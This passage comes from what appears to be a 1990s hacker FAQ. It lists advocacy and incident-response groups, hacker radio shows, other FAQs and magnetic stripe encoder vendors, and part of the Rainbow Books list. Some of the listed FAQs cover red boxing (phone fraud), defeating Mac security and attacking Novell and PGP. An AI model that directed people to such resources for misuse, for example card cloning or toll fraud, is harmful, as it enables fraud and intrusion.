by preventing user-interface copyright. The League is NOT opposed to copyright law as it was understood until 1986 -- copyright on particular programs. Our aim is to stop changes in the copyright system which would take away programmers' traditional freedom to write new programs compatible with existing programs and practices. Annual dues for individual members are $42 for employed professionals, $10.50 for students, and $21 for others. We appreciate activists, but members who cannot contribute their time are also welcome. To contact the League, phone (617) 243-4091, send Internet mail to the address, or write to: League for Programming Freedom 1 Kendall Square #143 P.O. Box 9171 Cambridge, MA 02139 USA SotMesc ~~~~~~~ Founded in 1989, SotMesc is dedicated to preserving the integrity and cohesion of the computing society. By promoting computer education, liberties and efficiency, we believe we can secure freedoms for all computer users while retaining privacy. SotMesc maintains the CSP Internet mailing list, the SotMesc Scholarship Fund, and the SotMesc Newsletter. The SotMESC is financed partly by membership fees, and donations, but mostly by selling hacking, cracking, phreaking, electronics, internet, and virus information and programs on disk and bound paper media. SotMesc memberships are $20 to students and $40 to regular members. SotMESC P.O. Box 573 Long Beach, MS 39560 Computer Emergency Response Team (CERT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ CERT is the Computer Emergency Response Team that was formed by the Defense Advanced Research Projects Agency (DARPA) in November 1988 in response to the needs exhibited during the Internet worm incident. The CERT charter is to work with the Internet community to facilitate its response to computer security events involving Internet hosts, to take proactive steps to raise the community's awareness of computer security issues, and to conduct research targeted at improving the security of existing systems. CERT products and services include 24-hour technical assistance for responding to computer security incidents, product vulnerability assistance, technical documents, and seminars. In addition, the team maintains a number of mailing lists (including one for CERT advisories) and provides an anonymous FTP server: (, where security-related documents, past CERT advisories, and tools are archived. CERT contact information: U.S. mail address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 U.S.A. Internet E-mail address Telephone number (412)268-7090 (24-hour hotline) CERT Coordination Center personnel answer 7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for emergencies during other hours. FAX number (412)268-6989 15. What are some radio programs of interest to hackers? Off The Hook New York 99.5 FM Tue 8pm EST Full Disclosure Live Short Wave WWCR 5065 khz Sun 8pm EST Full Disclosure Live Oil City, PA WOYL AM-1340 Sun 8pm EST Full Disclosure Live Satellite Telstar 302 (T2), Ch 21, 5.8 Sun 8pm EST 16. What are other FAQ's of interest to hackers? Frequently Asked Questions "Hacking Novell Netware" Author: Simple Nomad <> ftp: /pub/security/netware/ ftp: /pub/nomad/nw/ ftp: /pub/almcepud/hacks/ The PGP Attack FAQ Author: Route [ /] ftp: /pub/Philes/Cryptography/PGPattackFAQ.txt.gz Mac Hack FAQ: Defeating Security Author: AX1P ( Frequently Asked Questions About Red Boxing Author: Mr. Sandman ( VMS FAQ (Frequently Ask Questions) Author: The Beaver ( Anonymous FTP FAQ Author: Christopher Klaus <> of Internet Security Systems, Inc. ftp: /pub/faq/anonftp Compromise FAQ: What if your Machines are Compromised by an Intruder Author: Christopher Klaus <> of Internet Security Systems, Inc. ftp: /pub/faq/compromise Security Patches FAQ Author: Christopher Klaus <> of Internet Security Systems, Inc. ftp: /pub/faq/patch Sniffer FAQ Author: Christopher Klaus <> of Internet Security Systems, Inc. ftp: /pub/faq/sniff Vendor Security Contacts: Reporting Vulnerabilities and Obtaining New Patches Author: Christopher Klaus <> of Internet Security Systems, Inc. ftp: /pub/faq/vendor Cryptography FAQ Author: The Crypt Cabal ftp: /pub/usenet-by-group/sci.crypt/ Firewalls FAQ Author: Marcus J. Ranum ( ftp: /pub/usenet-by-group/ Buying a Used Scanner Radio Author: (Bob Parnass, AJ9S) ftp: /pub/usenet-by-group/ How to Find Scanner Frequencies Author: (Bob Parnass, AJ9S) ftp: /pub/usenet-by-group/ Introduction to Scanning Author: (Bob Parnass, AJ9S) ftp: /pub/usenet-by-group/ Low Power Broadcasting FAQ Author: Rick Harrison. ftp: /pub/usenet-by-group/ RSA Cryptography Today FAQ Author: Paul Fahn ftp: /pub/usenet-by-group/sci.crypt/ VIRUS-L comp.virus Frequently Asked Questions (FAQ) Author: Kenneth R. van Wyk <> ftp: /pub/usenet-by-group/comp.virus/ Where to get the latest PGP (Pretty Good Privacy) FAQ Author: (Michael Johnson) ftp: /pub/usenet-by-group/ alt.locksmithing answers to Frequently Asked Questions (FAQ) Author: (Joe Ilacqua) ftp: /pub/usenet-by-group/alt.locksmithing/ FAQ Author: Fauzan Mirza <> ftp: /pub/usenet-by-group/ rec.pyrotechnics FAQ Author: (Hans Josef Wagemueller) ftp: /pub/usenet-by-group/rec.pyrotechnics/ 17. Where can I purchase a magnetic stripe encoder/decoder? CPU Advance PO Box 2434 Harwood Station Littleton, MA 01460 (508)624-4819 (Fax) Omron Electronics, Inc. One East Commerce Drive Schaumburg, IL 60173 (800)556-6766 (Voice) (708)843-7787 (Fax) Security Photo Corporation 1051 Commonwealth Avenue Boston, MA 02215 (800)533-1162 (Voice) (617)783-3200 (Voice) (617)783-1966 (Voice) Timeline Inc, 23605 Telo Avenue Torrence, CA 90505 (800)872-8878 (Voice) (800)223-9977 (Voice) Alltronics 2300 Zanker Road San Jose CA 95131 (408) 943-9774 Voice (408) 943-9776 Fax (408) 943-0622 BBS Part Number: 92U067 Atalla Corp San Jose, CA (408) 435-8850 18. What are the rainbow books and how can I get them? Orange Book DoD 5200.28-STD Department of Defense Trusted Computer System Evaluation Criteria Green Book CSC-STD-002-85 Department of Defense Password Management Guideline Yellow Book CSC-STD-003-85 Computer Security Requirements -- Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments Yellow Book CSC-STD-004-85 Technical Rationale Behind CSC-STD-003-85: Computer Security Requirements. Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments. Tan Book NCSC-TG-001 A Guide to Understanding Audit in Trusted Systems Bright Blue Book NCSC-TG-002 Trusted Product Evaluation - A Guide for Vendors Neon Orange Book NCSC-TG-003 A Guide to Understanding Discretionary Access Control in Trusted Systems Teal Green Book NCSC-TG-004 Glossary of Computer Security Terms Red Book NCSC-TG-005 Trusted Network Interpretation of the Trusted Computer System Evaluation Criteria Orange Book NCSC-TG-006 A Guide to Understanding Configuration Management in Trusted Systems Burgundy Book NCSC-TG-007 A Guide to Understanding Design Documentation in Trusted Systems Dark Lavender Book NCSC-TG-008 A Guide to Understanding Trusted Distribution in Trusted Systems Venice Blue Book NCSC-TG-009 Computer Security Subsystem Interpretation of the Trusted Computer System Evaluation Criteria Aqua Book NCSC-TG-010 A Guide to Understanding Security Modeling in Trusted Systems Dark Red Book NCSC-TG-011 Trusted Network Interpretation Environments Guideline -- Guidance for Applying the Trusted Network Interpretation Pink Book NCSC-TG-013 Rating Maintenance Phase -- Program Document Purple Book NCSC-TG-014 Guidelines for Formal Verification Systems Brown Book NCSC-TG-015 A Guide to Understanding Trust